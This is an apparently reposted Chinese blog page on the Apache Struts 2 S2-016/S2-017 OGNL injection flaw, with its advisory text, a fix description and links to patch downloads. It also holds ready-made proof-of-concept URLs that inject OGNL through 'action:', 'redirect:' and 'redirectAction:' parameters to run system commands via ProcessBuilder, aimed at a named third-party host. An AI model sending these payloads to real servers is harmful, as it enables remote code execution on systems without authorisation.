`

<转>struts2 最新S2-016-S2-017漏洞通杀struts2所有版本

 
阅读更多



 原链:http://zone.wooyun.org/content/5159

 

 

1.jpg 

2.jpg 

3.jpg 


POC来自官方: 
http://struts.apache.org/release/2.3.x/docs/s2-016.html 
http://struts.apache.org/release/2.3.x/docs/s2-017.html

 

 

 

 

这是一个代码执行漏洞,利用java代码来执行系统命令。 
影响版本:Struts 2.0.0 – Struts 2.3.15 
漏洞说明: 
The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with “action:” or “redirect:”, followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms. 
In Struts 2 before 2.3.15.1 the information following “action:”, “redirect:” or “redirectAction:” is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.

测试POC:

In the Struts Blank App, open following URLs. 
Simple Expression – the parameter names are evaluated as OGNL.
http://www.8090sec.com/struts2-blank/example/X.action?action:%25{3*4}
http://www.8090sec.com/struts2-showcase/employee/save.action?redirect:%25{3*4}

Command Execution
http://www.8090sec.com/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
http://www.8090sec.com/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
http://www.8090sec.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}

 

解决方法: 
DefaultActionMapper was changed to sanitize “action:”-prefixed information properly. The features involved with “redirect:”/”redirectAction:”-prefixed parameters were completely dropped – see also S2-017. 
  
官方说明:http://struts.apache.org/release/2.3.x/docs/s2-016.html

  • 大小: 38 KB
分享到:
评论

相关推荐

    Struts2_s2-016&017&ognl2.6.11_patch漏洞补丁

    -- 为修复struts2 s2-016、s2-017漏洞,重写DefaultActionMapper --&gt; &lt;bean type="org.apache.struts2.dispatcher.mapper.ActionMapper" name="myDefaultActionMapper" class=...

    struts2 最新漏洞 S2-016、S2-017修补方案 .docx

    struts2 最新漏洞 S2-016、S2-017修补方案 .docx

    struts2反序列化漏洞,存在s2-005、s2-016、s2-016_3、s2-017

    struts2.0反序列化漏洞,存在s2-005、s2-016、s2-016_3、s2-017等漏洞解决方案,已升级可用

    struts框架jar包

    logging-1.0.4.jar&lt;br&gt;commons-validator-1.3.1.jar&lt;br&gt;jstl-1.0.2.jar&lt;br&gt;oro-2.0.8.jar&lt;br&gt;standard-1.0.2.jar&lt;br&gt;struts-core-1.3.8.jar&lt;br&gt;struts-el-1.3.8.jar&lt;br&gt;struts-extras-1.3.8.jar&lt;br&gt;struts-faces-...

    Struts s2-016 s2-017 补丁

    对Struts s2-016 s2-017的官方修复建议是升级struts, 但对正在运行的系统,许多依赖包会导致运行出错, 直接更改代码是更快的选择. 本补丁是针对 struts2-core-2.0.11.jar 的修改, 把文件中 bin下的文件直接copy到 web...

    struts2整合spring2的配置

    1. 导入的包&lt;br&gt;&lt;br&gt;l struts2的五个基础包:commons-logging-1.1.jar;...&lt;br&gt;&lt;br&gt;xwork-2.0.0.jar.&lt;br&gt;&lt;br&gt;l spring的核心包:spring.jar&lt;br&gt;&lt;br&gt;l 二者集成开发所需的包:struts-spring-plugin-2.0.6.jar&lt;br&gt;

    Struts2 (S2-016/S2-017)高危漏洞修复文件

    Struts2 (S2-016/S2-017)高危漏洞修复文件

    struts2漏洞s2-045,不升级jar版本的修补方法,已验证.docx

    0、这是一个简单、暴力、治根的补漏方法 1、struts2漏洞s2-045,不升级jar版本的修补方法,已验证

    struts2.0官方项目之四(showcase)

    &lt;br&gt; ------------------------------------------------&lt;br&gt; 实例说明:&lt;br&gt;&lt;br&gt; 将&lt;br&gt;&lt;br&gt; “struts2-mailreader-2.0.9.war”&lt;br&gt;&lt;br&gt; 改为&lt;br&gt;&lt;br&gt; “struts2-mailreader-2.0.9.rar”&lt;br&gt;&lt;br&gt; 使用解压工具解压-...

    S2-016/017漏洞工具 struts漏洞

    本工具可以详细测试S2-016/017漏洞的资源,有助于您更深层的了解struts!

    struts2.0官方项目之一(blank)

    &lt;br&gt; ------------------------------------------------&lt;br&gt; 实例说明:&lt;br&gt;&lt;br&gt; 将&lt;br&gt;&lt;br&gt; “struts2-mailreader-2.0.9.war”&lt;br&gt;&lt;br&gt; 改为&lt;br&gt;&lt;br&gt; “struts2-mailreader-2.0.9.rar”&lt;br&gt;&lt;br&gt; 使用解压工具解压-...

    struts2.0官方项目之三(portlet)

    &lt;br&gt; ------------------------------------------------&lt;br&gt; 实例说明:&lt;br&gt;&lt;br&gt; 将&lt;br&gt;&lt;br&gt; “struts2-mailreader-2.0.9.war”&lt;br&gt;&lt;br&gt; 改为&lt;br&gt;&lt;br&gt; “struts2-mailreader-2.0.9.rar”&lt;br&gt;&lt;br&gt; 使用解压工具解压-...

    解决struts2.1.6+spring+hibernate 中文乱码

    &lt;filter-name&gt;struts-cleanup&lt;/filter-name&gt; &lt;filter-class&gt; org.apache.struts2.dispatcher.ActionContextCleanUp &lt;/filter-class&gt; &lt;/filter&gt; &lt;filter-mapping&gt; &lt;filter-name&gt;struts-cleanup&lt;/filter-name&gt; ...

    struts2.3.32修补S2-045漏洞所有核心jar包及依赖的jar(含core包)

    struts-2.3.32-all (含struts2-core-2.3.32.jar) 修补S2-045漏洞所有核心jar包及依赖的jar

    struts2Demo

    struts2演示&lt;br&gt;&lt;br&gt;1./helloworld - helloworld&lt;br&gt;2./spring - 与spring整合&lt;br&gt;3./coc - 惯例优先配置,零配置文件 - codebehind不支持redirect,chain等操作,需要自己写jsp跳转&lt;br&gt;4./crud - CRUD,Create Read...

    struts2标签大全

    &lt;s:checkbox&gt;&lt;/s:checkbox&gt;-----复选框 &lt;s:checkboxlist list=""&gt;&lt;/s:checkboxlist&gt;-----多选框 &lt;s:combobox list=""&gt;&lt;/s:combobox&gt;-----下拉框 &lt;s:component&gt;&lt;/s:component&gt;-----图像符号 D: &lt;s:date/&gt;-----获取...

    Struts 2 远程代码执行漏洞(s2-045\s2-046)修复所用到的包

    2.如果您使用基于Jakarta插件,请升级到Apache Struts 2.3.32或2.5.10.1版本。(强烈推荐) 3.升级到2.3.32所用到的jar包: freemarker-2.3.22.jar ognl-3.0.19.jar struts2-convention-plugin-2.3.32.jar struts2-...

    Struts2整合SiteMesh技巧

    &lt;filter-name&gt;struts-cleanup&lt;/filter-name&gt; &lt;filter-class&gt;org.apache.struts2.dispatcher.ActionContextCleanUp&lt;/filter-class&gt; filter&gt; &lt;filter&gt; &lt;filter-name&gt;sitemesh&lt;/filter-name&gt; &lt;filter-class&gt;...

    struts-2.5.13

    &lt;filter-name&gt;struts2&lt;/filter-name&gt; &lt;!-- 过滤器的名字 --&gt; &lt;filter-class&gt;org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter&lt;/filter-class&gt; &lt;!-- 引用个具体类文件 --&gt; &lt;/...

    Struts2远程代码执行漏洞分析(S2-013)1

    Struts2远程代码执行漏洞分析(S2-013)1

Global site tag (gtag.js) - Google Analytics